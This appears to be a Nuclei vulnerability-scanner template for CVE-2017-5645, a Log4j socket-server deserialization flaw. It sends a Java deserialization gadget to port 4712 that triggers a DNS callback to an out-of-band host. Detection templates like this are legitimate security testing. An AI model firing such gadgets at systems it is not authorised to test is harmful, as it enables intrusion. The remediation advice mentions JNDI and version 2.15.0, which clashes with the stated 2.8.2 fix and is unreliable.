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49 lines
2.0 KiB
YAML
49 lines
2.0 KiB
YAML
id: CVE-2017-5645
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info:
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name: Apache Log4j Server - Deserialization Command Execution
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author: princechaddha
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severity: critical
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description: |
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In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
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impact: |
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Successful exploitation of this vulnerability could allow remote attackers to execute arbitrary commands on the affected server.
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remediation: |
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Consider updating to Log4j 2.15.0 or a newer version, deactivating JNDI lookups, or implementing a Java Agent to safeguard against potentially harmful JNDI lookups.
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reference:
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- https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645
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- https://nvd.nist.gov/vuln/detail/CVE-2017-5645
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- http://www.openwall.com/lists/oss-security/2019/12/19/2
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- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
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- http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2017-5645
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cwe-id: CWE-502
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epss-score: 0.94013
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epss-percentile: 0.99882
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cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: apache
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product: log4j
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tags: cve,cve2017,network,vulhub,apache,log4j,rce,deserialization,oast,tcp
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variables:
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end: "\r\n"
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tcp:
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- host:
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- "{{Hostname}}"
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- "{{Host}}:4712"
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inputs:
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- data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"
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read-size: 100
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- dns
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# digest: 4a0a0047304502210087b6616779ff1f094ff29c3b52cb32edfc7763d464ceb490086223f2e89985ef022033e68e7e4c19c1967d21563450ab219b4b365d099f9a1df1b22c4bd71be8d7a7:922c64590222798bb761d5b6d8e72950 |